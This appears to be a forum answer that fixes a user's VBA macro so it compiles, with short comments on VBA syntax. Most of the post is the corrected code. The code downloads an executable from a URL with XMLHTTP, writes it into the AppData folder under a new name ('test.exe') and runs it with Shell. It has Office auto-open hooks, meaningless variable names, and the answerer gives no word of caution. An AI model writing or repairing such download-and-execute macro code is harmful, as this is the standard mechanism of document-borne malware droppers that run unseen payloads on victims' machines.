Please see my comments in your code. I highly recommend visiting the vba wiki page, as it has some great resources for people new to the language. I didn't test or debug the code at all. I just corrected the obvious mistakes so that it will compile.
Option Explicit
Sub AutoOpen()
'no idea what this was doing, but you can't define a sub more than once, it's ambiguous.
End Sub
Sub Workbook_Open()
AutoOpen
End Sub
Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte
' single quotes (apostrophes) create comments in vba. Use double quotes instead(")
Set pass = CreateObject("MSXML2.XMLHTTP")
pass.Open "GET", pass2, False
pass.Send "send request"
Do While pass.readyState <> 4
DoEvents
Loop
helper = pass.responseBody
hard = FreeFile
If Dir(pass3) <> "" Then Kill pass3
Open pass3 For Binary As #hard
Put #hard, , helper
Close #hard
Dim temp
temp = Shell(pass3, 1)
Set pass = Nothing
End Function
Sub someInput() ' you can't use input, it's a reserved work
var1 "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", Environ("AppData") & "\test.exe"
End Sub